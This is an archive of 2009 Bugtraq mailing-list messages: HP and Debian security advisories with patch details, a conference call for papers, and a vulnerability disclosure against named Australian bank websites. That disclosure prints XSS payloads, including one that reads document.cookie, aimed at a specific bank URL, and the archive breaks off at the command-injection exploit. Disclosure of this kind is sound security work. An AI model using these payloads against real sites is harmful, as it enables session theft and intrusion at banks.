VULNERABILITY SUMMARY
A potential vulnerability has been identified with HP OpenView Network Node Manager (OV NNM). The vulnerability could be exploited remotely to execute arbitrary code or to create a Denial of Service (DoS).
References: CVE-2008-1697
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP OpenView Network Node Manager (OV NNM) v7.01, v7.51, v7.53 running on HP-UX, Solaris, Linux, and Windows
BACKGROUND
CVSS 2.0 Base Metrics
==============================================Reference Base Vector Base Score
CVE-2008-1697 (AV:N/AC:L/Au:N/C:C/I:C/A:C) 10.0
==============================================Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
RESOLUTION
HP has made patches available to resolve the vulnerability for NNM v7.53. HP has made a new version of the ovas program available to resolve the vulnerability for NNM v7.01.
The patches are available from
http://support.openview.hp.com/selfsolve/patches
Note: The patches are not available from the HP IT Resource Center (ITRC).
HP has made a new version of the ovas program available to resolve the vulnerability for NNM v7.01. The new ovas is available as a file to be installed manually. The files are listed in the table below. The patches listed for v7.01 insure that NNM is compatible with the software files in the archive. Unpack the archive and follow the instructions in the README.txt file.
The archive files are available from:
ftp://ss080033:s080033@hprc.external.hp.com/
OV NNM v7.53
==========Operating System
Resolved in Patch
HP-UX (IA)
PHSS_38489 or subsequent
HP-UX (PA)
PHSS_38488 or subsequent
Linux RedHatAS2.1
LXOV_00087 or subsequent
Linux RedHat4AS-x86_64
LXOV_00088 or subsequent
Solaris
PSOV_03515 or subsequent
Windows
NNM_01193 or subsequent
OV NNM v7.51
==========Upgrade to NNM v7.53 and apply the NNM v7.53 resolution listed above. Patch bundles for upgrading from NNM v7.51 to NNM v7.53 are available here:
ftp://nnm_753:update@hprc.external.hp.com/
OV NNM v7.01
==========Operating System
Required Patch
Archive File
Archive File MD5 Sum
HP-UX (PA)
PHSS_36773 or subsequent
ovas_7.01_hotfix.zip
8a5ad60f2e2679a55051d761a7ca894a
Solaris
PSOV_03480 or subsequent
ovas_7.01_hotfix.zip
8a5ad60f2e2679a55051d761a7ca894a
Windows
NNM_01159 or subsequent
ovas_7.01_hotfix.zip
8a5ad60f2e2679a55051d761a7ca894a
MANUAL ACTIONS: Yes - NonUpdate
Apply the appropriate archive as described in the Resolution.
PRODUCT SPECIFIC INFORMATION
HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see https://www.hp.com/go/swa
The following text is for use by the HP-UX Software Assistant.
AFFECTED VERSIONS (for HP-UX)
For HP-UX OV NNM 7.51 and 7.53
HP-UX B.11.31
HP-UX B.11.23 (IA)
HP-UX B.11.23 (PA)
HP-UX B.11.11
============OVNNMgr.OVNNM-RUN,fr=B.07.50.00
action: install the patches and archive files listed in the Resolution
URL:
ftp://ss080033:s080033@hprc.external.hp.com/
For HP-UX OV NNM 7.01
HP-UX B.11.11
============OVNNMgr.OVNNM-RUN,fr=B.07.01.00
action: install the patches and archive files listed in the Resolution
URL:
ftp://ss080033:s080033@hprc.external.hp.com/
END AFFECTED VERSIONS (for HP-UX)
HISTORY
Version:1 (rev.1) - 8 July 2008 Initial release
Version:2 (rev.2) - 11 May 2009 Patches available for NNM v7.53
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription:
http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit:
http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
�Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBSgggv+AfOvwtKn1ZEQKfaQCg3h176X8cvlZU4jb1VctLu7aC//oAoNzX
hsD8FKyOw9hUnGwfSN1iLTjd
=IM10
-----END PGP SIGNATURE-----
From - Mon May 11 18:12:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078f9
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40285-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 1CD19EC13D
for <lists@securityspace.com>; Mon, 11 May 2009 18:11:51 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id B91671437C3; Mon, 11 May 2009 15:13:52 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 8862 invoked from network); 11 May 2009 21:13:25 -0000
Resent-Cc: recipient list not shown: ;
Old-Return-Path: <jmm@inutil.org>
X-Original-To: lists-debian-security-announce@liszt.debian.org
Delivered-To: lists-debian-security-announce@liszt.debian.org
X-Virus-Scanned: at lists.debian.org with policy bank moderated
X-Spam-Flag: NO
X-Spam-Score: -10.58
X-Spam-Level:
X-Spam-Status: No, score=-10.58 tagged_above=-10000 required=5.3
tests=[BAYES_00=-2, FOURLA=0.1, FVGT_m_MULTI_ODD=0.02,
IMPRONONCABLE_2=1, LDO_WHITELIST=-5, MURPHY_WRONG_WORD1=0.1,
MURPHY_WRONG_WORD2=0.2, PGPSIGNATURE=-5] autolearn=ham
X-policyd-weight: using cached result; rate: -6.1
Date: Mon, 11 May 2009 23:13:09 +0200
From: Moritz Muehlenhoff <jmm@debian.org>
Message-ID: <20090511211308.GA3953@galadriel.inutil.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-SA-Exim-Connect-IP: 82.83.235.163
X-SA-Exim-Mail-From: jmm@inutil.org
X-SA-Exim-Scanned: No (on inutil.org); SAEximRunCond expanded to false
X-Debian: PGP check passed for security officers
Subject: [SECURITY] [DSA 1799-1] New qemu packages fix several vulnerabilities
Priority: urgent
Resent-Message-ID: <5W06-Zox0IG.A.AkF.yTJCKB@liszt>
Reply-To: listadmin@securityfocus.com
Mail-Followup-To: bugtraq@securityfocus.com
To: bugtraq@securityfocus.com
Resent-Date: Mon, 11 May 2009 21:13:22 +0000 (UTC)
Resent-From: list@liszt.debian.org (Mailing List Manager)
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- ------------------------------------------------------------------------
Debian Security Advisory DSA-1799-1 security@debian.org
http://www.debian.org/security/ Moritz Muehlenhoff
May 11, 2009
http://www.debian.org/security/faq
- ------------------------------------------------------------------------
Package : qemu
Vulnerability : several
Problem-Type : local
Debian-specific: no
CVE ID : CVE-2008-0928 CVE-2008-4539 CVE-2008-1945
Several vulnerabilities have been discovered in the QEMU processor
emulator. The Common Vulnerabilities and Exposures project identifies the
following problems:
CVE-2008-0928
Ian Jackson discovered that range checks of file operations on
emulated disk devices were insufficiently enforced.
CVE-2008-1945
It was discovered that an error in the format auto detection of
removable media could lead to the disclosure of files in the
host system.
CVE-2008-4539
A buffer overflow has been found in the emulation of the Cirrus
graphics adaptor.
For the old stable distribution (etch), these problems have been fixed in
version 0.8.2-4etch3.
For the stable distribution (lenny), these problems have been fixed in
version 0.9.1-10lenny1.
For the unstable distribution (sid), these problems have been fixed in
version 0.9.1+svn20081101-1.
We recommend that you upgrade your qemu packages.
Upgrade instructions
- --------------------
wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.
If you are using the apt-get package manager, use the line for
sources.list as given below:
apt-get update
will update the internal database
apt-get upgrade
will install corrected packages
You may use an automated update by adding the resources from the
footer to the proper configuration.
Debian GNU/Linux 4.0 alias etch
- -------------------------------
Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.
Source archives:
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.8.2-4etch3.diff.gz
Size/MD5 checksum: 67363 9770edb5cd197a444e9daad2f0439823
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.8.2-4etch3.dsc
Size/MD5 checksum: 1122 b7d65acdf5cdc3332b3a7a5100c4586d
amd64 architecture (AMD x86_64 (AMD64))
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.8.2-4etch3_amd64.deb
Size/MD5 checksum: 3700070 f2ba0f4f44c56f943e7f49a660284b3e
i386 architecture (Intel ia32)
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.8.2-4etch3_i386.deb
Size/MD5 checksum: 3676468 cf0babcf03c61381fea0d7f30a06e44f
Debian GNU/Linux 5.0 alias lenny
- --------------------------------
Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.
Source archives:
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.9.1.orig.tar.gz
Size/MD5 checksum: 2392515 937c34632a59e12ba7b55054419bbe7d
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.9.1-10lenny1.diff.gz
Size/MD5 checksum: 80162 f5d593dcea9ec54a148c76a3883fa537
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.9.1-10lenny1.dsc
Size/MD5 checksum: 1638 1c8e6db187f4b58e5655f2b06581b56f
amd64 architecture (AMD x86_64 (AMD64))
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.9.1-10lenny1_amd64.deb
Size/MD5 checksum: 11030660 02d39005c7b486f1d3541875052435d0
i386 architecture (Intel ia32)
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.9.1-10lenny1_i386.deb
Size/MD5 checksum: 10560190 d037ea7864b2c1d2bffe0738c56b042d
powerpc architecture (PowerPC)
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.9.1-10lenny1_powerpc.deb
Size/MD5 checksum: 10193596 40cfcd624e20d717e4ee0ce2655e5463
sparc architecture (Sun SPARC/UltraSPARC)
http://security.debian.org/pool/updates/main/q/qemu/qemu_0.9.1-10lenny1_sparc.deb
Size/MD5 checksum: 15700104 51cb77dee407b1c7ae7e3938a7e9c576
These files will probably be moved into the stable distribution on
its next update.
- ---------------------------------------------------------------------------------
For apt-get: deb
http://security.debian.org/ stable/updates main
For dpkg-ftp:
ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and
http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iEYEARECAAYFAkoIlIYACgkQXm3vHE4uylrtPACcCPZ6bWBIk+tUIo3d54/tlguq
ApsAn1a9vWXkglFpw2sZwnMap1ikTKmk
=+eUe
-----END PGP SIGNATURE-----
From - Tue May 12 09:53:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000797a
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40291-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 0843CED434
for <lists@securityspace.com>; Tue, 12 May 2009 09:49:25 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 9CA91143B22; Tue, 12 May 2009 07:43:11 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 18167 invoked from network); 12 May 2009 06:15:11 -0000
Date: Tue, 12 May 2009 00:06:17 -0600
Message-Id: <200905120606.n4C66HxO008636@www3.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: bugdigger@yahoo.cn
To: bugtraq@securityfocus.com
Subject: xcon2009 is coming
Status:
XCon 2009 XFocus Information Security Conference Call for Paper
August, 18th - 19th, 2009, Beijing, China (
http://xcon.xfocus.net)
Upholding rigorous work style , Xcon sincerely welcomes contributions from information security technique enthusiasts and expects your participation and sharing.
Attenders
Anyone who loves information security, including information security experts and fans, network administrators, network security consultants, CIO, hacker technique fans.
Location : Beijing kaiyuan Hotel (
http://www.kaiyuanhotels.com/jiudian/beijing_index.asp )
Topics Range (but unlimited):
--- Security in new fields
- Vista
- Web 2.0
- 3G/4G network
- Mobile Handset (Symbian / IPhone / Android / Windows Mobile )
- Banks & financial institutes
- Business Information System
- Virtualzation
- New vulnerability discovering
--- Application security
- Web application vulnerability research
- Application reverse engineering and related automated tools
- Database security & attacks
- Protocol security & exploitation
- Advanced Trojans, worms and backdoor technique
- Encryption & decryption technique
- Routing device
--- Intrusion detection/forensics analysis
- File system analysis & recovery
- Real-time data structure recovery
- Reverse engineering (malicious code analysis technique, vulnerability research)
- Intrusion detection and anti-detection technique
- Traffic analysis
--- Wireless & VoIP security
- 802.11x, CDPD, Bluetooth, WAP/TDMA, GSM, SMS
- PDA & mobile protocol analysis
- Palm, Pocket Pc
- Wireless gateway
- VoIP security & vulnerability analysis
- WLANs hardening & vulnerability analysis
---P2P technique
- Instant messenger (MSN, Skype, ICQ, etc.)
- P2P application (BT, Emule, Thunder, online multi-media, etc.)
Paper Submission:
The papers need include informations as follow:
1) Brief introduction to the topic and whether the topic had been publicized, and if so, the publized range.
2) Introduction to yourself .
3) Contact information: full name, alias, nationality, network nickname, e-mail, tel, fax, current working place and company, IM (MSN, ICQ,YM, AIM or others).
4) Presentation details:
- how long is the presentation
- if any new tool/vulnerability/exploit will be released
5) The paper need include both PPT (for presentation) and WORD (for detailed description) in MS Office or OpenOffice format.
All the papers will be submitted to cfp@xfocus.org for preliminary selection. The deadline for submission is July,10th, 2009, and confirmed by the deadline July, 18th, 2009. No matter if the paper is accepted, we will officially inform you within 5 work days.
Important dates
* Deadline for submission : July,10th, 2009
* Deadline for confirmation : July, 18th, 2009
Speakers' privilege
If your paper is accepted by XCon, you will be invited to give an individual lecture in XCon. The speakers will be provided with :
- Round-trip plane ticket (Economy class, one person only, Foreign speakers up to $1,200 .)
- Two days' food and accommodation
- Invitation to celebration party
- Sightseeing some famous places of interest in Beijing, tasting Chinese flavored food
- Luck draw
PS:
- Speakers must provide corresponding invoice or credential.
- XCon owns the right of final explanation about the conference.
For more information about the conference, please contact xcon@xfocus.org or professional XCon2009 organizer. MSN: xfocusxcon@hotmail.com; tel : 086-010-62029792
Application for Attending:
In order to attend the conference, please register at XCon website (
http://xcon.xfocus.net) or directly contact the organizer mentioned above. We will offer different discounts according to the time of application.
Attenders' food and accommodation will be covered by themselves, and XCon will provide restaurant reservation and other service.
Other information :
All the information about XCon will be released on XCon and Xfocus website. Please visit
http://xcon.xfocus.org/ for more information about speakers, agenda and previous XCon documents.
Thank you for your support to XCon.
From - Tue May 12 10:03:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000797b
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40288-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id AD773ED436
for <lists@securityspace.com>; Tue, 12 May 2009 09:57:24 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 997C5143780; Tue, 12 May 2009 07:42:19 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 14548 invoked from network); 12 May 2009 02:14:21 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=gamma;
h=domainkey-signature:received:received:x-rim-org-msg-ref-id
:return-receipt-to:message-id:content-transfer-encoding:reply-to
:x-priority:references:in-reply-to:sensitivity:importance:subject:to
:from:date:content-type:mime-version;
bh=QgFeH5uxMoN5bw1k5gbOmwaMyY+burIa/OePj4RZ/Rg=;
b=jsVTL9Hk5sAudx5AjdQzL1XKYZkC1YHUlEENlVkWdIsOryvdMDKymk8dowSmH4iTfw
Ng7yM38edX9/G1yXiq5BtZqUftn7BoE2Ed4YjKfpgvxyQsaC9smTmGDtnk9lg/GviU8B
zj5duGL52nbh4cmkpr7T5EHkTq34MnoQ6vaoQDomainKey-Signature: a=rsa-sha1; c=nofws;
d=gmail.com; s=gamma;
h=x-rim-org-msg-ref-id:return-receipt-to:message-id
:content-transfer-encoding:reply-to:x-priority:references
:in-reply-to:sensitivity:importance:subject:to:from:date
:content-type:mime-version;
b�F4uJAwMZuyQiOeNApb9UrKeJGYJL6qkgPqYZHSSYnSEqOsZKsN8x7DhgOJp4Ve1i
b4iqCJnegGpMFaG3Eab8FIDkVkTXouQ/tfSsMT1nnZTvjTgfcQHYbpMx1sVmAccWPwiE
a/KyMdLFw8wgGO/w0Z5YdEqOUMcGUVQ7kqQ0oX-rim-org-msg-ref-id: 352398549
Message-ID: <352398549-1242094456-cardhu_decombobulator_blackberry.rim.net-153322763-@bxe1021.bisx.prod.on.blackberry>
Content-Transfer-Encoding: base64
Reply-To: dpo5003@gmail.com
X-Priority: Normal
References: <00ca01c9d172$69c33ed0$010000c0@ml><D4C6B087FA434EACB6CD10AEF2C8FD04@e2000.local>
In-Reply-To: <D4C6B087FA434EACB6CD10AEF2C8FD04@e2000.local>
Sensitivity: Normal
Importance: Normal
Subject: Re: Insufficient Authentication vulnerability in Acer notebooks
To: bugtraq@securityfocus.com
From: dpo5003@gmail.com
Date: Tue, 12 May 2009 02:14:50 +0000
Content-Type: text/plain; charset="Windows-1252"
MIME-Version: 1.0
Status:
VGhhdCBpcyBJIHN0YW5kYXJkIGlzc3VlIHdpdGggV2luZG93cyBYUC4gIFdpdGggYW55IGluc3Rh
bGxhdGlvbiBvZiBpdCB5b3UgaGF2ZSB0byBib290IGluIHNhZmUgbW9kZSBhbmQgbWFudWFsbHkg
c2V0IGEgcGFzc3dvcmQgb24gdGhlIGhpZGRlbiBhZG1pbiBhY2NvdW50Lg0KDQotRGF2ZSBPcnRp
eiANCg0KU2VudCBmcm9tIG15IFZlcml6b24gV2lyZWxlc3MgQmxhY2tCZXJyeQ0KDQotLS0tLU9y
aWdpbmFsIE1lc3NhZ2UtLS0tLQ0KRnJvbTogRGF2aWQgU+FuY2hleiBNYXJ07W4gPGRzYW5jaGV6
QGUyMDAwLmVzPg0KDQpEYXRlOiBNb24sIDExIE1heSAyMDA5IDE1OjU1OjA0IA0KVG86IDxidWd0
cmFxQHNlY3VyaXR5Zm9jdXMuY29tPg0KU3ViamVjdDogUkU6IEluc3VmZmljaWVudCBBdXRoZW50
aWNhdGlvbiB2dWxuZXJhYmlsaXR5IGluIEFjZXIgbm90ZWJvb2tzDQoNCg0KaGkgZm9saywNCg0K
ICAgIElzIG5vdCB0aGF0IGEgc2ltcGxlIGRlc2lnbiBkZWNpc3Npb24/ICh0cnVseSBicmFpbi1k
ZWFkLCBidXQgYQ0KY29uc2Npb3VzIGRlY2lzc2lvbikuDQoNCg0KDQoNCj4gLS0tLS1NZW5zYWpl
IG9yaWdpbmFsLS0tLS0NCj4gRGU6IE11c3RMaXZlIFttYWlsdG86bXVzdGxpdmVAd2Vic2VjdXJp
dHkuY29tLnVhXSANCj4gRW52aWFkbyBlbDogZG9taW5nbywgMTAgZGUgbWF5byBkZSAyMDA5IDE1
OjIzDQo+IFBhcmE6IGJ1Z3RyYXFAc2VjdXJpdHlmb2N1cy5jb20NCj4gQXN1bnRvOiBJbnN1ZmZp
Y2llbnQgQXV0aGVudGljYXRpb24gdnVsbmVyYWJpbGl0eSBpbiBBY2VyIG5vdGVib29rcw0KPiAN
Cj4gSGVsbG8gU2VjdXJpdHlGb2N1cyENCj4gDQo+IEkgd2FudCB0byB3YXJuIHlvdSBhYm91dCB2
dWxuZXJhYmlsaXR5IGluIEFjZXIgbm90ZWJvb2tzLg0KPiANCj4gSXQncyBJbnN1ZmZpY2llbnQg
QXV0aGVudGljYXRpb24gdnVsbmVyYWJpbGl0eS4gV2hpY2ggSSBmb3VuZCANCj4gMjguMDQuMjAw
OSBpbg0KPiB0d28gbXkgbm90ZWJvb2tzLiBBdCB0aGVzZSBub3RlYm9va3MgV2luZG93cyBYUCBI
b21lIFJ1cyBpcyANCj4gdXNpbmcsIGluIGNhc2UNCj4gb2Ygb3RoZXIgT1MgdGhlIHZ1bG5lcmFi
aWxpdHkgY2FuIGJlIGFsc28gcHJlc2VudC4NCj4gDQo+IEluIFdpbmRvd3MgWFAgSG9tZSBpbiBk
ZWZhdWx0IGFkbWluaXN0cmF0b3IncyBhY2NvdW50IA0KPiCTQWRtaW5pc3RyYXRvcpQgdGhlcmUN
Cj4gaXMgZW1wdHkgcGFzc3dvcmQuIEFuZCBpdCBkb2VzIG5vdCBzZXQgZXF1YWwgdG8gcGFzc3dv
cmQgb2YgDQo+IGZpcnN0IGFkbWluLA0KPiB3aGVuIGFkbWluIGFjY291bnQgaXMgY3JlYXRpbmcg
ZHVyaW5nIGZpcnN0IHN0YXJ0IG9mIG5vdGVib29rIA0KPiAoYXMgaXQgaGFwcGVucw0KPiBkdXJp
bmcgaW5zdGFsbGF0aW9uIG9mIFdpbmRvd3MgWFApLiBTbyB3aXRoIHBoeXNpY2FsIGFjY2VzcyAN
Cj4gdG8gbm90ZWJvb2ssDQo+IGFueWJvZHkgY2FuIGVudGVyIGludG8gdGhlIHN5c3RlbSB3aXRo
IGFkbWluaXN0cmF0b3IncyByaWdodHMuDQo+IA0KPiBWdWxuZXJhYmxlIG1vZGVscyBvZiBub3Rl
Ym9va3M6IEFjZXIgVHJhdmVsTWF0ZSAyMzEzTEMsIEFjZXIgDQo+IFRyYXZlbE1hdGUNCj4gMjQx
M0xDIGFuZCBwb3RlbnRpYWxseSBvdGhlciBtb2RlbHMuDQo+IA0KPiBJIG1lbnRpb25lZCBhYm91
dCB0aGVzZSB2dWxuZXJhYmlsaXR5IGF0IG15IHNpdGUgDQo+IChodHRwOi8vd2Vic2VjdXJpdHku
Y29tLnVhLzMxMjcvKS4NCj4gDQo+IEJlc3Qgd2lzaGVzICYgcmVnYXJkcywNCj4gTXVzdExpdmUN
Cj4gQWRtaW5pc3RyYXRvciBvZiBXZWJzZWN1cml0eSB3ZWIgc2l0ZQ0KPiBodHRwOi8vd2Vic2Vj
dXJpdHkuY29tLnVhIA0KPiANCj4gDQoNCg=
From - Tue May 12 10:13:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000797d
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40295-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id B264AED48F
for <lists@securityspace.com>; Tue, 12 May 2009 10:06:37 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 4968E143DCF; Tue, 12 May 2009 07:44:56 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 24259 invoked from network); 12 May 2009 13:13:34 -0000
Date: 12 May 2009 13:13:33 -0000
Message-ID: <20090512131333.10741.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: militan.c7@gmail.com
To: bugtraq@securityfocus.com
Subject: Security Advisory: Banks in Australia
Status:
=============================================Security Advisory: Banks in Australia
militan (Chia-Jun Lin)
militan.c7@gmail.com
adl.csie.ncu.edu.tw/~militan
militan-c7.blogspot.com
Advanced Defense Lab(ADL), NCU CSIE TAIWAN
7th May, 2009
=============================================
I. VULNERABILITY
-------------------------
XSS
Command Injection
Banks below are vulnerable:
BankSA. www.banksa.com.au
Commonwealth Bank. www.commbank.com.au
etc...
II. DESCRIPTION
-------------------------
Some banks contain vulnerabilities in certain pages, which may be misused by attackers.
Via the command injection, attackers can execute any vbscript command on the hosts.
Generally, the security mechanism of the websites of banks in AU are implemented indeed,
However, their complex architectures are unnecessary actually.
Due to the large architectures, some pages do not perform the validation properly.
III. Detail & POC
------------------------
1. BankSA: XSS. Javascript Injection.
webapps.banksa.com.au/bbo_help/?helpid=login_out&origin�S
The BBO function means "Business banking online", and the vulnerable variable is "origin".
If origin�S, the page will immediately redirect to the link below.
www.banksa.com.au/business/business-banking-online/user-guide/?source=applet&origin�S
Nevertheless, if origin�S" then the page would redirect inappropriately.
****javascript code generated in the intermediate page
function focusWin()
{
window.focus();
//var theUrl = window.location.pathname;
//var pos = theUrl.indexOf("help.asp");
//theUrl = theUrl.substr(0,pos);
window.location.href = "
http://www.banksa.com.au/business/business-banking-online/user-guide/?source=applet&origin�S"";
//document.write("
http://www.banksa.com.au/business/business-banking-online/user-guide/?source=applet&origin�S"");
}
window.onload = focusWin;
****
Exploit:
webapps.banksa.com.au/bbo_help/?helpid=login_out&origin�S";%0a%0aalert(document.cookie);//
webapps.banksa.com.au/bbo_help/?helpid=login_out&origin�S";}</script>%0a%0a<script>alert("Vulnerable")</script>
POC:
http://adl.csie.ncu.edu.tw/~militan/banksa1.jpg
http://adl.csie.ncu.edu.tw/~militan/banksa2.jpg
http://adl.csie.ncu.edu.tw/~militan/banksa3.jpg
2. Commonwealth Bank: ASP command injection (server-side vbscript injection)
The commbank provides lots of tools to calculate, or to evaluate the financial plan.
This page would collect personal information and make an appointment, and almost all the parameters are manipulated in vbscript on server.
www.commbank.com.au/retirement/_PRODUCTION/content/ffthinkabout.asp
Moreover, the page will return the error message when you mangle the parameters.
Thus attackers can craft the exploit easily,
then arbitrary vbscript commands can be executed on server.
Exploit:
